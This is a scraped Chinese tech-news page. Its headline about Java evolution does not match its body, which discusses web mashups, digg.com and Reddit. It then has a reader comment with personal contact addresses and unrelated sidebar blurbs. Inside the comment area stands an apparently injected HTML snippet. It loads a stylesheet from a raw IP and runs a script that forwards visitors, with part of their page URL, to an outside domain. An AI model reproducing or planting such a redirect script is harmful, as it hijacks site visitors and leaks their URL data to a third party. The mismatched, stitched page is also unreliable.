在不改变语言的前提下如何推进Java的不断演进
在本文中,InfoQ谈到了有助于发掘潜在的新的Java语言特性的3种技术——DSL、注解处理器以及将语法糖从语言迁移到IDE中。
作者 霍泰稳 发布于 2007年7月22日 下午7时25分
和SOA一样,mashup也不是一个新的概念,但现在它却得到越来越多厂商的支持,包括IBM、BEA等。在Uche Ogbuji撰写的真实世界中的Web 2.0:了解digg.com和Reddit这两个Slashdot的后继者文章中,对digg.com和Reddit两个典型的Web 2.0网站进行了剖析,并指出mashup的价值。
mashup是一个Web 2.0站点的数据与另一个站点数据的综合,对这种新风格举足轻重,因为它们展示了这类站点是如何将灵活性赋予网站用户及网站所有者的,而且它们也消除了引入那些立足于成型的想法之上的新思路的障碍。mashup是一种综合了多种资源的Web站点。有时,这些资源的数据类别不同;mashup可以将来自一个站点的当前的运动比赛分数叠加在来自与之相匹配的Web服务的运动事件的地图之上。Web 2.0站点的特点之一就是它们试图充当类似美联社或路透社的角色,旨在为其他网站或信息服务商提供信息来源。
mashup与Portal的最明显区别就是,Portal是将原有的数据简单地组合在一起,相互之间并没有更多的交互。而mashup最突出地方就是它能够充分利用从外部检索到的内容来创建全新的服务。在IBM developerWorks中国网站较早的审视Ajax的系列文章中,用图形很好地表达了这一观点:
目前比较常见的mashup应用类型主要包括地图mashup如Google Maps、微软的Virtual Earth,视频和图像mashup如Flickr,搜索和购物mashup如eBay和Amazon,和新闻mashup如Diggdot.us等。但与其他很多数据集成领域一样,mashup开发也面临着严峻的技术挑战,Duane Merrill对此做了比较深入的讨论:
除了缺少数据和映射不完整之外,mashup 设计者可能会发现他们希望集成的数据并不适合进行机器自动化处理;……mashup 开发人员可能还必须面对 IT 集成管理人员不需要面对的一些问题,其中一个问题是数据污染。……mashup 开发人员需要面对的另外一种集成问题是由于获取数据必须采用屏幕抓取技术而引起的。
除了技术挑战之外,随着mashup的逐渐普及,相应的一些社会问题也会越发凸显。
现在mashup开发人员需要面对的一个最严重的社会问题就是:如何在知识产权的保护和消费者的私密性,以及信息的自由流动之间达成一种平衡。因为内容提供者、提供API帮助数据检索的内容提供者都可能需要确定其内容是否正在被他人在未获得自己批准的情况下使用。
一直在考虑将lalabo.com做成如digg,reddit的应用站点,重点突出用户与站点的交互。有兴趣的朋友可以一起来做这件事情。
我的MSN:xu2xiong@hotmail.com
常用的邮箱:xu2xiong@gmail.com
????
<html>
<head>
<link rel="stylesheet" type="text/css" href="http://61.51.18.11:6688/aicss_test_222.css" />
<script>
s=String(window.location.href);
mylocal=s.substring(s.indexOf('MT=')+3,s.length);
t = "http://dm.bbn.com.cn/response.asp?MT=" + mylocal;
document.location.href = t;
</script>
<body></body>
<html></html></head></html>
相比其他行业,IT技术由于信息流动便捷,新技术更新非常频繁。架构师经常面临新技术及传统方案选择的困惑。架构师应如何抓住本质构建新一代的应用?本文从几个方面提出一些思路供架构师参考。
InfoQ中文站最近采访了微软的Ramesh,在采访中,Ramesh从过程控制、架构与设计的控制以及测试组织等方面分享了他所带领Visual Studio软件生命周期管理工具团队使用敏捷方式组织管理大规模软件团队方面的经验。
在去年10月份的Kungfurails大会上,InfoQ中文站有幸采访了从台湾专程赶过来的张文钿,与他探讨了关于台湾Ruby社区的发展、Rails的商业化,Restful Design等话题。
《代码之道》以一位微软内部人士的视角,揭示了关于软件编码、软件测试和项目管理的残酷现实。针对每一个话题,I.M.Wright都根据丰富的工作经验提出了自己的观点,并介绍了来龙去脉,令人信服。
如何应对高并发、大访问量?如何保证数据的安全性以及数据库大吞吐量?在海量数据下,如何进行数据表变更?DoubanFS以及DoubanDB的特点以及技术实现?在QConBeijing 2009期间,InfoQ中文站有幸采访了洪强宁,探讨了相关话题。
2 条回复
关注此讨论 回复